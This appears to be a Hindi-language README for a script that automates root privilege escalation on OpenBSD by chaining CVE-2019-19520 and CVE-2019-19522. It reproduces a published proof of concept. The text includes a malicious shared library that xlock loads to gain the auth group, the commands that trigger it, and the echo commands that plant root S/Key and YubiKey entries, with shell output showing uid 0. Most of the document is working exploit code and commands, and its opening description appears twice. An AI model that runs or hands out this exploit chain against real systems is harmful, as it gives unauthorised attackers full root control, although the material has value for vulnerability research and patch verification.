
वह स्क्रिप्ट जो openbsd सिस्टम पर विशेषाधिकार (privileges) बढ़ाने की प्रक्रिया को स्वचालित करती है (CVE-2019-19520) xlock बाइनरी का शोषण करके और इसकी sgid प्राप्त करके, तथा (CVE-2019-19522) auth समूह के विशेषाधिकारों का शोषण करके और Skey या Yubikey में कुंजियाँ जोड़कर रूट उपयोगकर्ता तक विशेषाधिकार बढ़ाती है।
एक स्क्रिप्ट जो openbsd सिस्टम पर विशेषाधिकार वृद्धि की प्रक्रिया को स्वचालित करती है (CVE-2019-19520), xlock बाइनरी का शोषण करके और इसकी sgid प्राप्त करके, तथा (CVE-2019-19522) के माध्यम से auth समूह के विशेषाधिकारों का शोषण करके और Skey या Yubikey में कुंजियाँ जोड़कर रूट उपयोगकर्ता तक वृद्धि करती है।
C कोड काफी हद तक मूल पीओसी की प्रति है: https://www.openwall.com/lists/oss-security/2019/12/04/5
OpenBSD पर, /usr/X11R6/bin/xlock डिफ़ॉल्ट रूप से स्थापित होता है और set-group-ID "auth" है, set-user-ID नहीं; इसलिए निम्नलिखित जाँच अपूर्ण है और इसके बजाय issetugid() का उपयोग करना चाहिए:
101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
एक स्थानीय हमलावर इस भेद्यता का शोषण करके अपना स्वयं का ड्राइवर dlopen() कर सकता है और समूह "auth" के विशेषाधिकार प्राप्त कर सकता है:
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
अब हमने समूह - auth के विशेषाधिकार प्राप्त कर लिए हैं, इसलिए हम Skey या Yubikey में अपनी स्वयं की रूट कुंजियाँ जोड़कर इन विशेषाधिकारों का शोषण कर सकते हैं।
यदि S/Key या YubiKey प्रमाणीकरण प्रकार सक्षम है (दोनों डिफ़ॉल्ट रूप से स्थापित हैं लेकिन अक्षम हैं), तो एक स्थानीय हमलावर समूह "auth" के विशेषाधिकारों का शोषण करके उपयोगकर्ता "root" के पूर्ण विशेषाधिकार प्राप्त कर सकता है (क्योंकि login_skey और login_yubikey यह सत्यापित नहीं करते हैं कि /etc/skey और /var/db/yubikey में फाइलें सही उपयोगकर्ता की हैं, और ये दोनों निर्देशिकाएँ समूह "auth" द्वारा लिखने योग्य हैं)।
(नोट: समूह "auth" के विशेषाधिकार प्राप्त करने के लिए, एक स्थानीय हमलावर पहले xlock में CVE-2019-19520 का शोषण कर सकता है।)
यदि S/Key सक्षम है (skeyinit -E के माध्यम से), तो "auth" विशेषाधिकारों वाला एक स्थानीय हमलावर उपयोगकर्ता "root" के लिए एक S/Key प्रविष्टि (/etc/skey में एक फाइल) जोड़ सकता है (यदि यह फाइल पहले से मौजूद है, तो हमलावर इसे आसानी से हटा या नाम नहीं बदल सकता, क्योंकि /etc/skey स्टिकी है; एक सरल समाधान मौजूद है, और इसे इच्छुक पाठक के लिए एक अभ्यास के रूप में छोड़ दिया गया है):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
यदि YubiKey सक्षम है (login.conf के माध्यम से), तो "auth" विशेषाधिकारों वाला एक स्थानीय हमलावर उपयोगकर्ता "root" के लिए एक YubiKey प्रविष्टि (/var/db/yubikey में दो फाइलें) जोड़ सकता है (यदि ये फाइलें पहले से मौजूद हैं, तो हमलावर उन्हें आसानी से हटा या नाम बदल सकता है, क्योंकि /var/db/yubikey स्टिकी नहीं है):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...